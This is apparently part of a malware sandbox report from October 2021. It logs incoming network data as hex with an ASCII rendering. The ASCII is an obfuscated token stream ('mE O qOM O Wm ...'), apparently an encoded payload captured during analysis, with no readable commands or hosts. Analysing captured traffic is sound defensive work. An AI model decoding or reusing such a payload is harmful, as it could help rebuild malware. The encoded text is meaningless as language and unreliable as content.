WD O EJ O EW O WO O XO O mp O Wm O qqX O WD O qOJ O mE O qqM O qqW O qOJ O EM O mE O WE O Wq O qOW O Wm O qOJ O mE O qOO O WJ O qqE O qqO O mE O Wq O qOq O ED O qqJ O mE O WE O Wq O qOW O
2021-10-29 18:29:50 UTC	1029	IN	Data Raw: 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 Data Ascii: mE O qOM O Wm O qqE O qOD O mE O WJ O EX O qJq O Wm O mE O WD O Eq O WE O qOD O mE O mE O Eq O qJJ O WE O WW O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp
2021-10-29 18:29:50 UTC	1030	IN	Data Raw: 20 6d 45 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 4d 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 45 6d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 Data Ascii: mE O qqX O mE O mp O mE O mE O WW O mE O mE O MX O WW O WD O mE O mE O XW O qJJ O Em O Wq O mE O mX O EE O ME O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O X
2021-10-29 18:29:50 UTC	1031	IN	Data Raw: 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 6d 20 4f 20 71 4f 4a Data Ascii: Op O mE O mp O qJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qqX O qOJ O mE O mp O qJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qqX O qOp O mE O mp O qJJ O MX O Wq O mE O mE O qqm O WO O qqD O mE O mE O WW O EX O qqm O qOJ
2021-10-29 18:29:50 UTC	1032	IN	Data Raw: 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 71 4a 71 20 4f 20 58 45 20 4f 20 44 4d 20 4f 20 6d 70 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 58 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d Data Ascii: O O qOD O qOX O Eq O qqq O ED O WJ O WO O qJq O XE O DM O mp O qOO O MM O Xq O qOO O qOq O Ep O EJ O DW O DW O Xq O qOp O qOp O DW O Eq O qqW O Xq O MM O DW O DD O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM
2021-10-29 18:29:50 UTC	1034	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O qOW O Ep O qOp O DW O DW O DW O DW O DW O DW O DW O qOm O Wq O qOO O WJ O DW O DW O DW O DW O DW O DW O qOm O Wq O qOO O Wq O qOq O DW O DW O DW O DW O DW O qOm O Wq O qOO O W
2021-10-29 18:29:50 UTC	1035	IN	Data Raw: 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f Data Ascii: O XM O DW O XW O qqM O DD O qOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O EO O EE O DW O MO O Xq O DD O qqW O DW O Eq O XW O DW O XM O qqM O DD O mX O DW O Eq O XW O DW O MO O DW O DW O qOp O DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O
2021-10-29 18:29:50 UTC	1036	IN	Data Raw: 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: DW O MO O DW O DW O qOp O DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O DW O MM O qqM O DW O Em O DW O DM O EE O DW O qOO O DW O DD O qJq O DW O Eq O qqM O DW O EW O qqM O DD O DX O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O
2021-10-29 18:29:50 UTC	1038	IN	Data Raw: 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 45 6d 20 4f 20 71 4a 4f 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f Data Ascii: O qOO O DW O DD O qqJ O DW O EJ O DW O DW O MM O qqM O DW O DW O DW O DW O DW O DW O XX O Em O qJO O EX O DW O Eq O DM O DW O MM O qOp O DD O qqm O DW O DE O DW O DW O Em O qOp O DD O XO O DW O Eq O Xq O DW O MO O DW O DW O qqX O DW O DM O XW O DW O qOO O
2021-10-29 18:29:50 UTC	1039	IN	Data Raw: 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 Data Ascii: DW O qOp O DW O DM O EE O DW O MX O qqM O DD O qqW O DW O EJ O XW O DW O MX O Xq O DW O qOM O DW O Eq O WJ O DW O MM O qqM O DW O DW O DW O DW O DW O DW O Xm O Em O qqM O qOM O DW O DM O DM O DW O qOO O Xq O DD O mX O DW O Eq O WD O DW O Ep O DW O DD O X
2021-10-29 18:29:50 UTC	1040	IN	Data Raw: 4d 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 71 71 4d Data Ascii: MO O qqM O qOM O DW O DM O WD O DW O MM O DW O DD O mX O DW O Eq O qOE O DW O MX O qqM O DD O qqE O DW O EJ O EE O DW O DW O DW O DE O Xq O DW O DE O XM O DW O Xp O DW O DD O qOX O DW O Eq O qqM O DW O MM O DW O DW O DW O DW O Ep O DW O DW O Xq O Wp O qqM
2021-10-29 18:29:50 UTC	1042	IN	Data Raw: 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 Data Ascii: O DD O Eq O qqO O DM O qOp O DW O XD O DW O DD O EX O DW O DM O qqM O DW O Ep O DW O DD O Xp O DW O Eq O XW O DW O MM O DW O DD O qqX O DW O EJ O Ep O DW O qOO O DW O DW O qOp O DW O DE O mX O DW O Ep O DW O DD O DD O DW O Eq O qqM O DW O MX O DW O DW O q
2021-10-29 18:29:50 UTC	1043	IN	Data Raw: 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4d 20 4f 20 4d 4d 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f Data Ascii: mX O DW O EJ O Ep O DW O MX O DW O DW O qqm O DW O EO O DW O DW O MX O DW O DD O mM O DW O EJ O EE O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DM O qOM O MM O Em O qOp O DD O Xq O DW O EJ O Ep O DW O MX O qqM O DD O qqM O DW O
2021-10-29 18:29:50 UTC	1044	IN	Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: mE O mE O qOp O DW O DD O XO O DW O DM O qqW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O Xq O DW O DW O DW O DW O DW O DW O EJ O DW O DW O qOp O DW O XO O DW O DW O EW O DW O EM O qOE O DX O mE O mE O mp O DE O DW O DW O DW O DW O
2021-10-29 18:29:50 UTC	1046	IN	Data Raw: 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f Data Ascii: O Wp O DW O DE O DW O DW O XJ O Xq O DD O WJ O DW O Eq O EE O DW O MO O Xq O DD O qqM O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O XW O DW O DW O DW O DW O DW O DD O qOJ O DW O
2021-10-29 18:29:50 UTC	1047	IN	Data Raw: 45 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 Data Ascii: EE O DW O XM O Xq O DD O mX O DW O Eq O qOE O DW O MX O qqM O DD O qqE O DW O DE O DW O DW O MO O Xq O DD O qJq O DW O EJ O Ep O DW O MX O qqM O DD O qJq O DW O DE O DW O DW O ME O DW O DD O qOm O DW O EJ O EE O DW O Ep O DW O DD O qqX O DW O Eq O EE O DW
2021-10-29 18:29:50 UTC	1048	IN	Data Raw: 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 Data Ascii: WD O DW O MX O qOp O DW O qOp O DW O EJ O Xq O DW O MX O qqM O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O qOX O DW O DE O DW O DW O XM O qqM O DD O qqW O DW O Eq O qOE O DW O MM O DW O DD O qOW O DW O Eq O WD O DW O XM O Xq O DD O qJq O DW O Eq O Xq O
2021-10-29 18:29:50 UTC	1050	IN	Data Raw: 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 Data Ascii: p O DW O DD O Xm O DW O Eq O qOp O DW O MO O Xq O DD O qqW O DW O Eq O qqM O DW O Ep O DW O DD O DM O DW O Eq O qqM O DW O MO O qqM O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O MM O DW O DE O Xq O D
2021-10-29 18:29:50 UTC	1051	IN	Data Raw: 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: DW O DM O qqM O DW O ME O Xq O DD O qqE O DW O Eq O XW O DW O Ep O DW O DD O DD O DW O EJ O Ep O DW O MO O qqM O DD O mM O DW O Eq O mX O DW O MO O Xq O DD O qqE O DW O EJ O Xq O DW O MM O qqM O DW O Wm O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O
2021-10-29 18:29:50 UTC	1052	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O MM O DW O XJ O Xq O DD O MX O DW O DW O qqq O DW O WD O DW O EE O DW O DW O XO O mE O mE O qOp O qOp O DD O Xq O DW O EJ O Ep O DW O ME O Xq O
